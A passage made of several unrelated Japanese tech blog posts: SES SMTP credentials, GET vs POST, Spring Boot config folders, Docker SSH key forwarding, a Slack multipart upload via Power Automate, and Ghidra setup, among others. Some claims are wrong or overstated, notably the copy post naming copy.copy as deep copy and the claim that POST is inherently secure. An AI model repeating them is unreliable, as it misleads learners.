![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599002/80be56da-624f-d384-668a-805c2e2bbfb7.png)


**IAM User Nameを入力して「作成」をクリックした**
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599002/f609ba74-2296-681f-b6b9-a5ff28cd5b80.png)


認証情報のダウンロードをクリックする
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599002/d970bbf9-6539-2f8d-49d8-d83fa445924c.png)

ダウンロードしたCSVファイルを開くと以下の情報が入っています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599002/30cf100f-3f8d-e779-1d03-496d812b29cc.png)


または、ユーザーの SMTP セキュリティ認証情報を表示をクリックする
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599002/ef4e8003-9b42-bc2a-8fec-56c0907eb89c.png)


SMTPのパスワード情報を忘れると現在のSMTPユーザーを削除して新規で作成する必要があります。
そのため、大事に保管したほうが良いです。

以下の公式サイトから引用
SMTP パスワードを変更する場合は、IAM コンソールで既存の SMTP ユーザーを削除します。次に、前の手順を完了して、新しい SMTP 認証情報のセットを作成します。

https://docs.aws.amazon.com/ja_jp/ses/latest/dg/smtp-credentials.html


SMTP認証情報ダウンロード後、左側の閉じるボタンを押すとIAMユーザーのTop画面に遷移しました。

IAMユーザーの数が一つ増えました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599002/44d35345-1403-10bf-fbd5-611dd0219bb5.png)

IAMユーザーをクリックしたらIAMユーザーが作成されていることを確認しました。

SMTP認証情報はコンソールでログインするユーザーではないため、コンソールを通じたアクセスが無効になっています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599002/21299ec7-7523-d220-5084-46674c5fce1b.png)

セキュリティ認証情報タブのアクセスキーを参照すると作成日と前回使用したサービスを確認出来ます。

IAMユーザー
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599002/deee5f5f-56ad-cb2d-ff20-0351e24da098.png)

# 削除手順

以下に記載の通り、IAMコンソールからSMTPユーザーを削除できるそうです。
公式サイト　引用
IAM コンソールを使用して、既存の SMTP ユーザーを削除することもできます。
https://docs.aws.amazon.com/ja_jp/ses/latest/dg/smtp-credentials.html

IAMコンソールの左ペインのユーザーを選択して、作成したSMTPユーザーを選択して「削除」をクリックします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599002/ae73e92b-3733-8ad3-9ce1-e1ff316e06d2.png)

削除しますかの確認画面でユーザー名を入れて、「削除」をクリックします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599002/2ea987e6-685b-2977-86a5-e6eb1f5f7826.png)

削除したSMTPユーザーが消えました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599002/28b16021-07a2-bbd9-fa62-7b4bd0b93b5a.png)

# まとめ

SESはメール送信には SMTP インターフェイスとSESのAPIの2つの方法があります。
SMTP インターフェイスからメール送信する場合は、本記事のSMTP認証情報の作成が必要であることが分かりました。

SESコンソールのSMTP認証情報で作成したSMTPユーザーはIAMコンソールに作成されるため、IAMユーザーからSMTPユーザーを作成できると勘違いしやすいため、注意が必要です。

SESの知識はまだまだのため、これから積みあがていきたいです。
GET vs POST

GETとPOSTは、HTTPプロトコルにおける2つの主要なメソッドです。

- GETはとは
GETは、Webページを取得するために使用されるメソッドです。GETリクエストは、サーバーに情報を要求し、応答としてリソース（Webページ、画像、ビデオ、JSONデータなど）を取得します。GETリクエストは、ブラウザのアドレスバーにURLを入力してWebページにアクセスする場合にも使用されます。

- POSTとは
一方、POSTは、Webページに情報を送信するために使用されるメソッドです。POSTリクエストは、ブラウザからサーバーにデータを送信し、応答として処理されたデータを受け取ります。例えば、フォームを送信する場合や、ユーザーの入力データをサーバーに送信する場合に使用されます。

GETとPOSTの主な違いは、`データの扱い方`です。
GETリクエストでは、データはURLのクエリストリングに含まれますが、POSTリクエストでは、データはHTTPリクエストの本文に含まれます。
これにより、POSTリクエストはGETリクエストよりも安全と考えられます。
また、POSTリクエストには、GETリクエストでは使用できないデータを送信することもできます。

したがって、GETは情報の取得に使用され、POSTは情報の送信に使用されます。どちらを使用するかは、Webアプリケーションの目的によって異なります。


# GETとPOSTの使い方

## GETの使い方：

ページの情報を取得する場合に使用します。
リンクをクリックした場合、ブラウザのアドレスバーにURLが表示される場合に使用します。
クエリストリングを使用して、URLにパラメーターを渡す場合に使用します。
ブラウザのキャッシュを利用して、以前に取得した情報を再利用する場合に使用します。
例：
http://example.com/page.php?id=123

## POSTの使い方：

フォームのデータをサーバーに送信する場合に使用します。
ユーザーの入力データをサーバーに送信する場合に使用します。
クエリストリングを使用して、URLにパラメーターを渡す場合には使用しません。
例：

```
<form action="submit.php" method="post">
  <label for="name">Name:</label>
  <input type="text" id="name" name="name">
  <input type="submit" value="Submit">
</form>
```
注意点として、GETリクエストには送信されるデータの量に制限があります。また、GETリクエストはデータがURLに含まれるため、セキュリティ上の問題が生じることがあります。したがって、機密性の高い情報を送信する場合にはPOSTリクエストを使用することが推奨されます。


# メリット・デメリット

## GETのメリット：

ブラウザのキャッシュを利用して、以前に取得した情報を再利用できるため、応答時間が短くなる場合がある。
URLにパラメーターが含まれるため、リンクを共有することができ、ブックマークや履歴に保存することができる。
サーバーに情報を送信せずに、リソースを取得できるため、情報を閲覧するだけの場合に有用。

## GETのデメリット：

送信されるデータの量に制限があるため、大量のデータを送信する場合はPOSTを使用する必要がある。
データがURLに含まれるため、セキュリティ上の問題が生じることがある。
ブラウザの履歴に保存されるため、機密性の高い情報を送信する場合は避けるべき。

## POSTのメリット：

送信されるデータの量に制限がないため、大量のデータを送信することができる。
データがHTTPリクエストの本文に含まれるため、セキュリティ上の問題が少なく、機密性の高い情報を送信する場合に適している。
ブラウザの履歴に保存されないため、機密性の高い情報を送信する場合に有用。

## POSTのデメリット：

ブラウザのキャッシュを利用できないため、応答時間が長くなる場合がある。
URLにパラメーターが含まれないため、リンクを共有することができず、ブックマークや履歴に保存することもできない。
サーバーに情報を送信するため、情報を閲覧するだけの場合には不適切。

以上のように、GETとPOSTにはそれぞれメリット・デメリットがあり、どちらを使用するかはWebアプリケーションの目的に応じて選択する必要があります。
【SpringBoot初心者】Configファイルの置き場がわからない

 ## 対象者（イメージ）
・javaちょっとわかる
・SpringBootよくわからない
・SpringBootよくわからないのに、引継ぎで保守担当者になってしまった
・SpringBootよくわからないのに、引継ぎで保守担当者になってしまった上に
　いきなり改修案件を依頼されたあなた

例えば私の場合
Connecting to Heroku Data for Redis
https://devcenter.heroku.com/articles/connecting-heroku-redis#spring-boot
↑
着任早々、これの対応やらないといけなくなって嵌っていました。
AppConfig.javaに書くべき内容はわかるのに、置くべきフォルダがわからないという事態。

## Configファイルどこに置くの？

### 探し方
下記の記事が非常に参考になりました。
こちらがなかったら一生解決しなかったかもしれないと言っても過言ではありません！（きっぱり）
https://blog.tagbangers.co.jp/2019/07/12/how-spring-deals-with-properties
> １．/configという名前のサブディレクトリ（file:./config/）
> ２．カレントディレクトリ（file:./）
> ３．クラスパスの/configパッケージ（classpath:/config/）
> ４．クラスパスルート（classpath:/）


### 検証

1. 調査対象のシステムを"config"でgrepする
1. ファイルが見つかった場合、そのファイルが上記いずれかのフォルダに置かれているか確認する
1. 追加したいConfigファイルのパッケージを、2で確認したファイルと同じにする
1. 追加したいConfigファイルを、2で確認したファイルと同じ物理フォルダに配置する

→→→　ビルド後、動作することを見届けて終了。

## 補足


### 参考文献
・spring アプリケーションプロパティ設定一覧（公式）
https://spring.pleiades.io/spring-boot/docs/current/reference/html/application-properties.html#appendix.application-properties
結論に辿り着く過程でこちらのリファレンスもよくよく読みました。
ぷろぱてぃでいろいろできることがわかってよかったです。（社会科見学の感想）
出来ること出来ないことをわかっておくと後々の案件に役立つので、学習継続したいです。

・Spring Bootがプロパティファイルを読み込む方法に一同驚愕！！ | Tagbangers Blog
https://blog.tagbangers.co.jp/2019/07/12/how-spring-deals-with-properties 
一度引用していますが改めて貼らせてもらいます。
引用部分以外も簡潔にまとめていらっしゃるので、漏れなく勉強になります。

### 蛇足（サラリーマン向け情報）
・最初っから"@Configuration"などでGrepしておけばラクできたかもです。勉強になるかはともかく。
・前任者がいるならはずかしがらず前任者に聞きましょう///
　どうしてもはずかしかったら（あるいは組織上直接連絡NGだったら）上司などにMTG設定してもらいましょう。
・BPさんの作ったところであれば、
　契約担当者等のしかるべき人に連絡を取ってBPさんに調査依頼しましょう
・BPさんと既に契約が切れており、
　新たに契約を結ぶことも難しく、
　前任者の方も「管理業務だったのでコアな部分はわからない」と仰る場合があります。
　その時は自分を頼りましょう。

以上です。
DockerfileからホストマシンのSSH秘密鍵を参照する

# 問題点

- Dockerコンテナのビルド時に、DockerfileからGitのプライベートリポジトリにアクセスしたり、SSHの公開鍵認証でサーバに接続したりしたくなることがある
- そのような場合、ホストマシンの`~/.ssh`以下を参照することになるが、以下のような問題が発生する
    - Dockerfileの`COPY`命令では`~`や`$HOME`が利用できず、絶対パスか相対パスで表現する必要があり、その場合にユーザによって`~/.ssh`までのパスが変わってしまう
    - Dockerfileの`RUN`命令では`--mount=type=bind`でファイルやディレクトリをマウントできるが、`~`や`$HOME`が利用できず、絶対パスか相対パスで表現する必要があり、その場合にユーザによって`~/.ssh`までのパスが変わってしまう

# 解決策

- 上記の問題を解決し、DockerfileからホストマシンのSSH秘密鍵をセキュアに参照するための仕組みが`docker build`コマンドの`--ssh`オプションと`RUN`命令の`--mount=type=bind`である

# 検証

```dockerfile:Dockerfile
FROM debian:stable-slim

# sshコマンドとssh-keyscanコマンドを使用できるようにする
RUN apt-get update
RUN apt-get install -y --no-install-recommends openssh-client

# Host Key CheckingをPASSするための設定
# Host Key CheckingはクライアントがサーバのSSH公開鍵を取得し、そのサーバが信頼できるサーバであることを確認するプロセスで、主に中間者攻撃(MITM)から守るための手順
# 通常は ~/.ssh/known_hosts に事前にサーバのSSH公開鍵を登録しておくことで、SSH接続時にここにあるSSH公開鍵と照合する
RUN mkdir ~/.ssh
RUN touch ~/.ssh/known_hosts
RUN chmod 700 ~/.ssh
RUN chmod 600 ~/.ssh/known_hosts
RUN ssh-keyscan 153.127.195.142 > ~/.ssh/known_hosts

# SSH接続する
# -T オプションを指定すると擬似端末(pseudo terminal; pty)が割り当てられなくなるため、非インタラクティブにsshコマンドを実行できる
RUN --mount=type=ssh ssh -T ubuntu@153.127.195.142
```

```bash
# --ssh オプションでホストマシンのSSH秘密鍵をDockerコンテナに渡す際にSSHエージェントを参照するため、事前にSSHエージェントにSSH秘密鍵を登録しておく
# ホストマシンの再起動時に登録したSSH秘密鍵は削除されるため注意
$ ssh-add /path/to/your_ssh_private_key

# SSHエージェントにSSH秘密鍵が登録されていれば表示される
$ ssh-add -l

# --ssh オプションの利用にはBuildKitの有効化が必須
# Docker 18.09以前のバージョンではBuildKitがデフォルトで有効化されていないため、以下の環境変数で有効化しておく必要がある
# BuildKitはDockerの新しいビルドエンジンで、ビルドの高速化や機能の拡張が行われている
$ DOCKER_BUILDKIT=1

# --ssh オプションに default を指定した場合、SSHエージェントが選定したSSH秘密鍵が使用される
# SSHエージェントは登録日が新しいものから順に参照する
$ docker build -t dockerfile-ssh-example --ssh default .
```
VSCode から ブラウザ起動 (open in browser インストール)

備忘録でopen in browser インストールのメモです
win11, vscode 1.77.3 使用してます

1. 拡張機能 - `open in browser` 入力 - インストール
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/51758/0d7a2d98-02d9-c08b-e336-89aaba2112ad.png)

1. VSCode 上で実行したい html を右クリック -  Open In Default Browser  (または Open In Other Browsers)
対象の html がブラウザで開けばOK
Open In Other Browsers を選んだ場合は開きたいブラウザをテキストで選んでから開く感じです
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/51758/e24a113c-f830-35da-04b8-362ecdc2fd9d.png)
Azure OpenAI x Azure Logic Apps お手軽レシピ集

寄せ集めですが、よろしければ。

## レシピ集
### 基本

https://zenn.dev/tenjoufire/articles/27e29f2ac17f48

### 翻訳 (トークン節約アイディア)

https://level69.net/archives/33671


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/93824/90cb1aef-e13e-ac2e-94d4-21352407c1ef.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/93824/90b043c7-5004-c7bf-c798-4f9b6f90cb65.png)


### 要約

https://twitter.com/tsubakimoto_s/status/1647245518320570370?s=20

要約したいページを HTTP で GET し、HTML をテキストにする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/93824/a0708f9c-7dd8-aa5a-fa44-43e447b57db8.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/93824/3c5c7245-4ba3-8525-b117-74c8e015d2cd.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/93824/c713bf61-a4a0-bc19-5172-242b0ca6950f.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/93824/c4be6ef8-05a3-7257-0a5c-1ca817b4d5f6.png)


### 箇条書き
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/93824/d74ea4a6-38c3-67b8-0806-c8f5513d243f.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/93824/0f09cc95-131d-a4b1-b4e4-ef21d13de56c.png)

### Teams でチャット

https://qiita.com/akihiro_suto/items/29b340e19d2700ce4288

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/93824/763a30b4-af1c-6662-f784-8e5e92dcad32.png)


### LINE Bot

https://zenn.dev/himanago/articles/azure-logic-app-chatgpt-linebot

https://zenn.dev/himanago/articles/azure-logic-app-chatgpt-linebot2

https://github.com/himanago/azure-logicapp-linebot-templates


### プロンプトインジェクション対策

https://qiita.com/tregu148/items/68fb25fa828003ce6f64


### 内部資料活用アプリ

https://qiita.com/hatasaki/items/d3e508c202ca56d4fd08


## 参考
[Azure OpenAI Service とは - Azure Cognitive Services | Microsoft Learn](https://learn.microsoft.com/ja-jp/azure/cognitive-services/openai/overview)
[Azure OpenAI Service - Azure OpenAI | Microsoft Learn](https://learn.microsoft.com/ja-jp/azure/cognitive-services/openai/concepts/prompt-engineering)
[概要 - Azure Logic Apps | Microsoft Learn](https://learn.microsoft.com/ja-jp/azure/logic-apps/logic-apps-overview)
ミコトウェーブ

このブログではNTTフレッツ光や電話回線についてブログ運営・趣味で始めた小銭貯金・迷惑メールに登録するとどうなるのかなど雑記ブログですが特化ブログ並みの濃い内容で日常生活に役立つ面白い情報を紹介しています。

https://mikotoniomakase.com/
さくらインターネットでサブドメインを新規追加し、ベーシック認証までの手順

さくらのレンタルサーバーでドメイン相乗りで、wordpressを構築するというタスクが舞い込んできた。
まずは、サブドメインから作成すると。。。
手順は必ず忘れるから備忘録しておくことが必須。

<h2>まずはドメインの作成</h2>
<a href="https://help.sakura.ad.jp/domain/2149/?_gl=1*rmejbg*_gcl_aw*R0NMLjE2ODE1OTExMjYuQ2owS0NRandsdW1oQmhDbEFSSXNBQk82cC16SmRPaUpKMXdEbGlNVDNhZTZCRVlnNDgzWWkwY05YVEllVTVocU5IN29HWFVTeGx1Vmtvb2FBdG1pRUFMd193Y0I.*_ga*ODAwNjg2NTgzLjE2NzY5Mzc3MTg.*_ga_RY0M78YRM0*MTY4MTU4OTE4Mi42LjEuMTY4MTU5MTM0NS42MC4wLjA.*_ga_M3MLBH78ML*MTY4MTU4OTE4Mi43LjEuMTY4MTU5MTM0NS42MC4wLjA.&_ga=2.91765848.331867797.1681503555-800686583.1676937718&_gac=1.154064074.1681591126.Cj0KCQjwlumhBhClARIsABO6p-zJdOiJJ1wDliMT3ae6BEYg483Yi0cNXTIeU5hqNH7oGXUSxluVkooaAtmiEALw_wcB">ここ</a>見れば基本OK!
サブドメインで作成する人は、「サブドメインを指定する」にチェック入れて任意の文字を入力し作成できます。

ちなみに、<strong>フォルダの作成が事前に必要</strong>です。
フォルダの作成方法はここが大事↓
>フォルダの作成
>この手順では、ファイルマネージャーを利用してフォルダを作成する場合について説明しています。
>ファイル転送ソフトなどでフォルダを作成する場合は、<ins>必ず/home/アカウント名/www </ins>以下に フォルダを作成してください。

<h2>次はSSL化</h2>
手順はこちら↓
左タブの「ドメイン／SSL」⇨SSL化したいドメインの「SSL」⇨「登録設定を始めるSSL証明書の種類を選択」⇨「Let's Encrypt (無料SSL)」
※ドメイン作成直後はエラー表示がおきます。時間が解決する。

<h2>ベーシック認証</h2>
手順は
 <a href="https://help.sakura.ad.jp/rs/2196/?article_anchor=js-nav-4"> こちら </a>
から確認できます。結構簡単！
【♪】TechTune #0005「Running Python on AWS Lambda with API GATEWAY」

<iframe width="560" height="425" src="https://www.youtube.com/embed/-uuB_OYV5s0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>

本日の内容は AWS Lambda 上で Python を動作させることを目指したお話です。

時代の傍観者、宴会部長、マカ―の生き残り、生きた化石のいしたんがお届けする、人生の吹き溜まりのラジオ番組「テックチューン」の時間です。
テックチューンは最近話題のテクノロジーや私の身の回りで起こったこと、興味があることなどを剥き出しの感情でお話する番組です。
特に目標もなく無気力に続けていきたいと思いますので、お付き合いいただけますと幸いです。

## PoCを行った資料

AWS Lambda に Python のコードを追加して API Gateway 経由で呼び出してみる
https://qiita.com/ishitan/items/48c8c828d976f0b9b590

AWS Lambda で API Gateway 経由して Python で GET パラメータを受け取る
https://qiita.com/ishitan/items/80a96c2d11524af03d6a

AWS Lambda で API Gateway 経由して Python で POST データを受け取る
https://qiita.com/ishitan/items/1ef77c125c114050a505
浅いコピーと深いコピー

浅いコピーと深いコピーの違いでハマったので、メモを残す。
~~~python
import copy
dic = {0:['a', 'b'], 1:['c', 'd']}
dic_copy = dic.copy()
dic_deepcopy = copy.deepcopy(dic)
print('-'*15 + 'before' + '-'*15)
print(f'dic:         {dic}')
print(f'dic_copy:    {dic_copy}')
print(f'dic_deepcopy:{dic_deepcopy}')
dic_copy[0].append('e')
dic_copy[1].remove('c')
dic_copy[3] = ['f']
dic_copy[3].append('g')
print('-'*15 + 'after' + '-'*15)
print(f'dic:         {dic}')
print(f'dic_copy:    {dic_copy}')
print(f'dic_deepcopy:{dic_deepcopy}')
~~~

~~~結果
---------------before---------------
dic:         {0: ['a', 'b'], 1: ['c', 'd']}
dic_copy:    {0: ['a', 'b'], 1: ['c', 'd']}
dic_deepcopy:{0: ['a', 'b'], 1: ['c', 'd']}
---------------after---------------
dic:         {0: ['a', 'b', 'e'], 1: ['d']}
dic_copy:    {0: ['a', 'b', 'e'], 1: ['d'], 3: ['f', 'g']}
dic_deepcopy:{0: ['a', 'b'], 1: ['c', 'd']}
~~~
結論
浅いコピー(.copy)出生成したオブジェクトへの編集はコピー元に影響を及ぼす。なぜなら参照オブジェクトのアドレス値が一緒だから。
しかし、深いコピー（copy.copy）には影響を及ぼさない。なぜなら参照オブジェクトもコピーを生成するから
SUPER SUPER SIMPLE LIFE GAME

シンプルで高速なセル・オートマトンプログラムのテンプレートを作成しました
HTML, CSS, JavaScript, および p5.js を利用して実装されています。

https://github.com/shibomb/super-super-simple-lifegame

このテンプレートは、独自のセル・オートマトンプロジェクト（ライフゲームなど）を簡単に開始できるように設計されており、コードをカスタマイズして自分だけのバージョンを作成することができます。

## とりあえず遊びましょう

https://shibomb.github.io/super-super-simple-lifegame/

## 操作方法
- セルを作成するには、マウスをドラッグしてください。
- セルを削除するには、Shift キーを押しながらマウスをドラッグしてください。
- ゲームの一時停止/再開は、p キーを押して切り替えてください。
- ゲームをクリアするには、q キーを押してください。
- 画面全体にセルを作成するには、f キーを押してください。
- ランダムにセルを配置するには、r キーを押してください。
- ゲームの速度を上げるには、w キーを押し、速度を下げるには s キーを押してください。
- セルのサイズを大きくするには、d キーを押し、サイズを小さくするには a キーを押してください。

## インストール方法
- [githubリポジトリ](https://github.com/shibomb/super-super-simple-lifegame)をクローンまたはダウンロードしてください。
- クローンまたはダウンロードしたフォルダを開いてください。
- index.html ファイルをダブルクリックして、ブラウザで開いてください。

## カスタマイズ方法
- sketch.js ファイルを開いてください。
- 変数や関数を編集して、ゲームの動作や見た目を変更できます。
- index.html および style.css ファイルを編集して、デザインをカスタマイズできます。

## ライセンス
このプロジェクトは [MITライセンス](https://github.com/shibomb/super-super-simple-lifegame/blob/master/LICENSE.md) で公開されています。
Power Automateで "multipart/form-data" をPOSTする。Slack APIで画像をアップロード投稿。

### Power Automate Cookbookシリーズ

# 概要

Power AutomateでSlack APIに画像ファイルをアップロードしようとしたところ、
"multipart/form-data"のPOST送信でハマったので、成功例を公開いたします。
ポイントは画像ファイルに base64エンコード を加える方法です。

# 前提条件

- クラウド版Power Automateで "multipart/form-data" をPOST送信する。
- 組み込みの「HTTP」アクションを使用する。
- 送信データは「テキスト」と「画像ファイル」。
- POST送信先は Slack API の「files.upload」を使用する。
- Slack APIで使用するtokenは取得済で、PostmanなどのツールからSlack APIへPOST送信が成功済みであることを前提とする。

# 参考資料

Slack API仕様　https://api.slack.com/methods/files.upload

# アクションの定義

今回送信する画像ファイルはOneDriveに保存されているファイルを使用しますが、
他のシステムから取得して変数に保存した画像データなどを使用することも可能です。

HTTPアクションでPOSTメソッドを選択し、送信先のURLを設定します。
ヘッダー、クエリは空欄のままでOKですが、接続先APIの要求に応じて認証ヘッダーなどを設定してください。
今回SlackのトークンはPOST本文に設定していますので、ヘッダーは空欄です。

<img width="600" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136978/65aaf2ad-80f3-0442-25e8-da279bef22c8.png">

# POST本文の定義

HTTPの本文にJSONで "multipart/form-data" の送信データを記述します。
"$multipart" 配下に送信する項目の "headers" と "body" のセットを繰り返し記述します。
"headers" の 「name=◯◯◯」に項目名（変数名）を設定し、"body" に値を設定します。

肝心の画像ファイルは４つ目に記載しています。
詳細は次のセクションで解説。

```
{
  "$content-type": "multipart/form-data",
  "$multipart": [
    {
      "headers": {
        "Content-Disposition": "form-data; name=token"
      },
      "body": "xoxb-1234567890-1234567890-ABCDEFGHIJKLMN"
    },
    {
      "headers": {
        "Content-Disposition": "form-data; name=channels"
      },
      "body": "YOUR_CHANNEL_ID"
    },
    {
      "headers": {
        "Content-Disposition": "form-data; name=filename"
      },
      "body": "filename.png"
    },
    {
      "headers": {
        "Content-Disposition": "form-data; name=file; filename=filename.png"
      },
      "body": {
        "$content-type": "image/png",
        "$content": @{concat(base64(outputs('ファイル_コンテンツの取得')?['body']))}
      }
    }
  ]
}
```

# "multipart/form-data"の画像ファイル設定方法

<img width="800" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136978/365efaec-1bc6-7d26-6137-78a79472d520.png">

今回はOneDriveの「ファイルを取得する」アクションで画像ファイルを用意しています。
この場合、動的コンテンツの記述は下記のようになります。
`outputs('ファイル_コンテンツの取得')?['body']`

ただし、画像などのバイナリファイルをPOST送信する場合は、Base64エンコードでテキストデータ化する必要があります。
Power Automateは関数によってBase64エンコードを行えますので、動的コンテンツをbase64関数で囲みます。
`base64(outputs('ファイル_コンテンツの取得')?['body'])`

しかし、作成したフローを保存すると、なぜかBase64関数が解除されてしまう不具合に悩まされました。
Power Automateのバグだと思いますが。
そこで、文字列を結合するconcat関数の中に入れてみると不具合を回避できました。
不本意ではありますが、下記のようになります。
`concat(base64(outputs('ファイル_コンテンツの取得')?['body']))`

これを "body" の "$content" に指定します。
ちなみにその上にある "$content-type" もデータの種類に合わせて適切に設定してください。
今回はPNGファイルのため "image/png" を指定しています。

```
    {
      "headers": {
        "Content-Disposition": "form-data; name=file; filename=filename.png"
      },
      "body": {
        "$content-type": "image/png",
        "$content": @{concat(base64(outputs('ファイル_コンテンツの取得')?['body']))}
      }
    }
```


これで、"multipart/form-data" でBase64エンコードされた画像ファイルをPOST送信できるようになるでしょう。
記載事項について、誤りなどお気づきの点がありましたらコメントにてお知らせください。
皆様のご健勝とご活躍をお祈り申し上げます。

今後もPower AutomateのTips、ノウハウを公開していきます。
お役に立ちましたら、ぜひ、いいね、ストックをいただけますと幸いです。
Notionで文献管理がしたい２

# はじめに
この記事は↓の続きです。今回は、１．laravelを使い始めてパワーアップしました　２．notionから読み込んでリファレンスリストを出力する機能を増やしました　の2話です（サザエさん）。

https://qiita.com/haruchann/items/2f8fb19221ca15bb68d4


# １．laravelすごい。フレームワークってすごい！
前回までフレームワーク使わずただPHPを書いていましたが、ログイン機能が欲しいなあと思ってlaravelを使い始めました。

サインアップ、ログイン機能をつくり、notion_tokenとnotionのDBのIDもユーザに紐づけて管理するようにしました。ログイン機能はすぐ実装できたし、見た目も、なにもCSS書いてないのにそれなりなレベルに突如なってすごいです。フレームワークってすごいんだなあ。

viewだけにすべてを書かないように、controllerとmodelに分けて？書くようにしたのですが、controllerとmodelの使い分けがいまいちわからないので勉強したい。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2779337/776c21aa-70c8-95d5-0dae-316cf3a7d2a6.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2779337/c50c2f4c-bee1-f339-764b-f39a2672a77c.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2779337/56e70f08-c9a2-a51f-66e4-ac71033397fb.png)


# ２．notionから読み込んでリファレンスリストを出力する新機能
notionのDBに保存してある文献から、doiを参照して、自動的に参考文献リストを作ってくれる機能を作りました。

DBはこんな感じの構成になっていることとします。doiとPJが必須です。あるエッセイ（プロジェクト）でその文献を引用したら、その文献のPJ欄でそのプロジェクトを選択しておくようにします。Aという本をclassBの中間課題で引用したら、本AのPJ欄では、classBの中間課題が選択された状態になっているという具合です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2779337/7a39c9c4-df09-72f9-bd2e-8d27da9fc0f8.png)

そんなこんなでエッセイを書き進めてもらいまして、全部書き終わったら、アプリ側にて今回レファレンスリストを出力したいPJ名を入力し、新規作成を押します。（DBのmultiselectのlabelと一言一句同じで）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2779337/dbbc599c-46ea-2ac4-a0dc-342c5830677b.png)

と、できた！
ちゃんと指定したプロジェクトの文献だけが！、ABC順に！（リファレンスリストの規定です）、出てきてますね～～。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2779337/a14f95fc-2a8f-91da-a903-b708e08ab109.png)


すばらしい～。新機能というか、作ってみたらこれがすごくよくて、もうこれしか要らないのではないかと思っているところです。


今日はここまでです。今後は、ユーザ情報更新の処理を作れていないので、やりたいです。あと各種例外処理への対応をしたいです。
Ghidra 最初の一歩


# 環境

- Ghidra 10.2.3 2023-Feb-08 1242 EST
- Java Version 19.0.2
- Ubuntu 22.04 上で駆動

「Ghidra を Ubuntu22.04 にインストール 」
https://qiita.com/nanbuwks/items/50a04425cbd64ad71fea
で設定したものです。

# サンプルコードを作成する


以下の c ファイルを作成
```
#include  <stdio.h>
int main(){
	printf("hello");
}

```
コンパイル

```
$ cc hello.c -o hello
```
コンパイル結果
```
$ ls -alh 
合計 28K
drwxrwxr-x  2 nanbuwks nanbuwks 4.0K  4月 16 04:09 .
drwxr-xr-x 10 nanbuwks nanbuwks 4.0K  4月 16 04:08 ..
-rwxrwxr-x  1 nanbuwks nanbuwks  16K  4月 16 04:09 hello
-rw-rw-r--  1 nanbuwks nanbuwks   52  4月 16 04:09 hello.c
```

# Ghidra を使ってみる

プロジェクトを新規作成し、プロジェクトウィンドウからドラゴンアイコンを選ぶ。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/3960c2b7-0c9b-d214-96dd-b106c2b7696f.png)

コードブラウザが起動するので、File-Import File で先程の hello を読み込む 
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/96cf06a0-5d6e-97f5-4e1d-48a676fc00ba.png)
インポートされる。Analyze は Yes
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/9d301f27-2b86-dac7-4073-0349a158c88e.png)

ディスアセンブルされたコードが見える
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/7b81ec85-3a42-44c2-0aac-dc5cc699c2f1.png)

main 関数を表示してみました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/93f421e3-2097-8e39-1352-0e44929fd965.png)
【Swift】UIScreen.mainがdeprecatedになってからの画面サイズ取得方法

## iOS16から`UIScreen.main`がdeprecated(非推奨)になった
##### これまでの画面サイズ取得方法
```swift
let screenSize = UIScreen.main.bounds
```
![スクリーンショット 2023-04-16 3.40.27.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/640032/0900525b-6948-8065-2ff7-02273fbfc469.png)
## 今後の画面サイズ取得方法
```swift
guard let window = UIApplication.shared.connectedScenes.first as? UIWindowScene else { return }
let screenSize = window.screen.bounds
```
## 参考
https://developer.apple.com/documentation/uikit/uiscreen/1617815-main

https://developer.apple.com/forums/thread/722328
Ghidra を Ubuntu22.04 にインストール


Ghidra は NSA が公開しているオープンソースのリバースエンジニアリングツール。

Windows/Mac/Linux のマルチプラットフォーム。
Java ベースのツールで、インストールは特に難しいことはないのだけど、記録を兼ねて。


# 調査

公式ページに、
https://ghidra-sre.org/
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/e2f4ae01-d63e-d2d3-ee03-091ddca0eba0.png)
インストールガイドのリンクがあるのでそのページを見る
